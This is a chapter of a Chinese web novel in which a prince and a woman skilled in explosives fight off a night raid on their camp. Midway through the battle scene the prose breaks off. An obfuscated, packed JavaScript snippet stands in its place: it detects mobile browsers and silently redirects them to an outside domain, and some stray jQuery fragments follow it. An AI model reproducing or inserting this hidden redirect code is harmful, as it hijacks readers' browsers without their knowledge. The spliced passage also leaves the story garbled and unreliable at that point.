86. 你有事吗

作品:《王爷想从良,王妃偏不让

    这个点……乍一听确实让顾惊鸿心动。


    但萧承砚可能搞错了,顾惊鸿虽有小女儿情态,但毕竟在江湖情报中枢身居高位,所以并不是什么人都可以被她放在眼里,比如那个什么慕初初,纵使顾惊鸿嘴上提她,心里却从未介意过她。


    慕初初更像是一张在她有需要的时候,随手扯过来挡一下的布。而那个她真正介意的人是永宁郡主,是萧承砚呓语声中的那个“阿宁”。


    可永宁郡主已经不在了,顾惊鸿也没道理揪着一个不在的人不放。


    她扭头看着萧承砚:“王爷觉得,惊鸿是那种拈酸吃醋的小女子?”


    顾惊鸿眨眨眼,眸中有一闪而过的狡黠,“可是,我还是更喜欢研究我的炸药和机关术。”


    萧承砚便是她一个神态就猜到了她的意图。


    她想知道他的真实意图。


    那个关于他非要将她赶去西南行辕的真正原因。


    萧承砚顿了顿,伸手理着顾惊鸿的发,他知晓他没办法将顾惊鸿和普通女子往一块儿想的,她大胆、聪慧、高傲……甚至还习惯掌控,有时甚至想要关心爱护都有些无从下手。


    可那又如何?


    他爱的就是顾惊鸿本身啊,所以,他更应该尊重她不是么?


    只是片刻,萧承砚便道:“上次老鸦滩一战,我们抓了几个斥候,你还记得么?”


    顾惊鸿点点头,深色认真:“四十三个……”


    萧承砚垂眸看向她,只觉她此番回答认真可爱得让他想笑。


    “……对。我的意思,有一个人逃了,带走了我们的布防图。”


    顾惊鸿眉目圆睁,略一思考,压低了声音:“王爷你是故意的!”


    萧承砚神情淡淡的。


    顾惊鸿蹙着眉:“那位死里逃生的斥候,想必东西带到便活不了了……可这事儿关系到两军布防,对方必定不会轻易相信。”


    她又沉思片刻,抬眸看着萧承砚:“所以,王洋和长风的伤……王爷也是故意的。”


    接下来她又自言自语:“不对,光是这两个人的伤也不至于能让敌人相信。”


    她微微蹙着眉,片刻后,眉头舒展,连带着眉尾的痣都似飞扬了起来。


    她满眼都是星星:“原来如此!”


    萧承砚将下颌轻轻搁在顾惊鸿的肩上,侧着脸看她:“所以,你是不是配合一下本王?”


    顾惊鸿也微微侧过脸去:“那是自然……”


    他的鼻尖碰到了她的脸颊,温暖的气息喷在她耳后,她的脸倏然染上了一层绯色。


    “我正好也能试一下我新调整的火药如何。”


    萧承砚蹙眉:“……我让你配合的事,是让你去行辕。”


    顾惊鸿却主动亲了萧承砚的脸颊一下,那个吻又浅又淡:“我想配合的是……杀敌!”


    萧承砚眸色转深,而后轻轻地咬着下唇——还能说什么呢?她主动讨好,他若是再不依,便是他不知好歹了。


    于是他只回了一句:“一切行动让长风经手,你只许动口,万万不可亲身涉险,可知?”


    顾惊鸿:“是,惊鸿遵命。”


    她弯起唇角,笑得像只偷腥成功的猫儿。


    ……


    那一日很快便来了。


    朔风卷着塞外砂砾的粗粝,掠过连营。


    顾惊鸿帐内,一盏孤灯映着她伏案的侧影。


    帐外风声渐紧,远处隐约传来不安的马嘶,皆被她摒在心门之外。


    “敌袭——东南方向!”凄厉的号角与示警的嘶吼几乎同时撕裂夜的宁静,紧接着,是密集如骤雨般的破空声!


    “是火箭!保护粮草辎重!”


    “盾阵!快!”


    咻咻咻——


    无数拖着赤红尾焰的箭矢如流星火雨般从天而降,直指存放军粮、药材及重要文书的辎重区域。


    火光瞬间在几处篷顶、草垛燃起,映亮了黑暗中如鬼魅般扑出的敌军精锐。


    他们身着深色劲装,行动迅捷狠辣,刀光在火光中闪烁。


    人群中很快有人叫嚣:“有内鬼!有人给了布防图!”


    混乱如瘟疫般蔓延,人喊马嘶,火光跳跃,映着一张张惊惶的脸。


    顾惊鸿猛地从推演中惊醒!


    她一把抓起案头几个刚完成新配比封装、不过巴掌长的细竹筒,同时抄起短匕,毫不犹豫地冲出营帐。


    帐外已是一片火海与刀光交织的炼狱,长风正在营帐前方厮杀。


    热浪扑面,浓烟呛人。


    只见敌军分作数股,一部分疯狂纵火制造混乱,另一部则轻骑突袭而来,直插顾惊鸿营帐附近的辎重核心。


    唏律律——!!!


    来不及细想,一声凄厉绝望的马嘶就在顾惊鸿身侧炸响。


    她的枣红马被一支流矢擦伤,剧痛和四周冲天的火光让它彻底受惊发狂,它赤红着双目,碗口大的铁蹄狂暴地扬起,嘶鸣着就要朝那辎重核心冲去。


    顾惊鸿瞳孔骤缩!


    一旦冲入,不仅马匹瞬间会被乱刀砍死或烧死,其巨大的冲力更可能撞翻救火的士卒,甚至引燃更多物资,尤其是她的营帐中尚余一些试验用的硝石、硫磺……


    来不及多想,她迎着狂暴的马头冲上一步,伸手欲抓笼头!


    但疯马受惊严重,顾惊鸿的力量并不足以制住它。


    眼看她就要被狂奔的巨力拖倒,不远处一道玄色身影已如离弦之箭,激射而来。


    只是一瞬,他的身影便鬼魅般切入顾惊鸿与疯马之间,左手扣住笼头下脆弱筋络,一股刚猛暗劲瞬间透入,右手化掌为刀,劈在马颈侧穴位!


    “轰!”


    疯马庞大的身躯剧颤,发出一声短促呜咽,前蹄一软,轰然跪地,激起尘土。


    “嗯——”


    他喉结微动,眉头微蹙,强行压住痛意。


    顾惊鸿的眸光在他脸上停驻了一瞬,转而移道他肩胛处,心口忽然像是被什么扎了一下!


    只见他肩胛处玄色衣料颜色骤然深了一块,正迅速洇开——是血!


    那道曾经在药师谷绝域寒瘴中中的那支毒箭!


    都几个月了,竟还未好!


    来不及多想,顾惊鸿的目光瞬间越过他,锁住不远处那一队正骑马突袭的精锐。


    “闭眼!掩耳——!”


    电光火石间,她猛地拔掉手中细竹筒的塞子,朝着那几名敌军精锐前方奋力掷了过去。


    几乎是下意识地,萧承砚转身便将顾惊鸿护在怀中。


    轰——!!!


    一声极其刺耳、如同百面铜锣同时炸响的恐怖爆鸣,和比烈日更刺目数倍的炽白强光。


    “啊——!”


    那几名猝不及防的敌军精锐首当其冲,瞬间被刺得双目剧痛失明,耳膜如同被撕裂,惨叫着捂住头脸,攻击动作完全变形、停滞!


    附近几个己方士卒虽有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417026|183261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顾惊鸿提醒,提前掩耳闭眼,仍被震得头晕眼花,踉跄后退。


    “拿下他们!”


    附近的什长最先反应过来,怒吼着带人扑上!


    萧承砚又垂眸看了看被自己护在怀中的顾惊鸿,神色晦暗,然后松手起身,声音依旧冷硬如铁。


    “右翼二队,前压三十步!弓弩手覆盖敌军退路!”


    “辎重营,甲字库火势控制后,立刻增援主帐防卫!”


    “长风!目标清除后,立刻回援中军,清剿残敌!”


    一连串指令将整个战场的节奏重新拉回他的掌控。


    他又看着顾惊鸿,语气冰冷:“顾特使受惊,原地待命。调一队甲士,护卫她帐周,没有命令,不得擅离,亦不得让任何人靠近干扰。”


    顾惊鸿站在原地,胸口微微起伏。


    她能感受到,他生气了。


    还是在这种统帅全局的时候,抽空跟她生了个气。


    她知道他气她的是,明明当时她答应得好好的,凡事皆由长风代劳,可她还是将长风赶了出去。


    顾惊鸿下意识地拢了拢袖袋,指尖触到袖中那枚冰冷的竹管——其内卷着的,正是方才机关鸟送达的密信。


    「鹞鹰现于西南藩王府」


    也是顾惊鸿执拗地要将长风赶出去的原因。


    ……


    军营深处,中军主帐。


    帐内烛火通明,却驱不散弥漫的肃杀之气。


    硝烟与铁锈的气息混杂,沉沉压在每个人心头。


    萧承砚端坐主位,玄甲未卸,肩甲处凝固的暗红血渍在烛光下透着冷硬的质感。


    他单手撑额,修长的手指骨节分明,正用力按压着突突跳动的太阳穴,俊挺的鼻梁下薄唇紧抿。


    下首几位将领盔甲染尘,神情凝重,正低声争论着昨夜敌军突袭的路线与反击之策,声音压抑在帐内,更添几分紧绷。


    “王爷,依末将看,这支突袭小队熟悉地形,行动如鬼魅。必是有人出卖了我西南,不然他们不会如此精准,直击粮草辎重。”


    “是的,末将觉得张将军所言极是。”


    “此番突袭,极有章法,我军得抓紧时间调整布防,不然还是会落入敌人的圈套。”


    “……”


    将领们争论未休。


    忽听得帐外亲卫高声禀报:“启禀王爷,顾特使求见!”


    帐内争论声戛然而止。


    萧承砚低沉开口,嗓音带着一夜未眠的沙哑:“进。”


    侍立一旁的长风会意,朝着帐门方向沉声道:“有请顾特使。”


    厚重的帐帘被掀起,裹挟着一丝帐外清冷的夜风。


    顾惊鸿一身利落的素色劲装,步履沉稳地走了进来。


    她清冷的眸光在掠过几位正起身告退的将领时,微微颔首致意。


    将领们互相颔首,旋即心照不宣地抱拳回礼,而后鱼贯而出。


    顾惊鸿站定,目光自然而然地投向主位上的男人。


    烛光在他深邃的轮廓上投下浓重的阴影,眼下带着明显的青黑,面色是透支后的苍白憔悴。昨夜那场惊心动魄的突袭,显然耗尽了心神。


    她的视线下意识地滑向他左肩——玄色肩甲覆盖之处,那凝固的暗红血迹如同一个沉默的烙印,撑起冷硬而沉重的弧度。


    萧承砚起身,朝着顾惊鸿走去,脸上的疲惫倏然收敛,旋即是故意堆叠的冷漠。


    “有事?”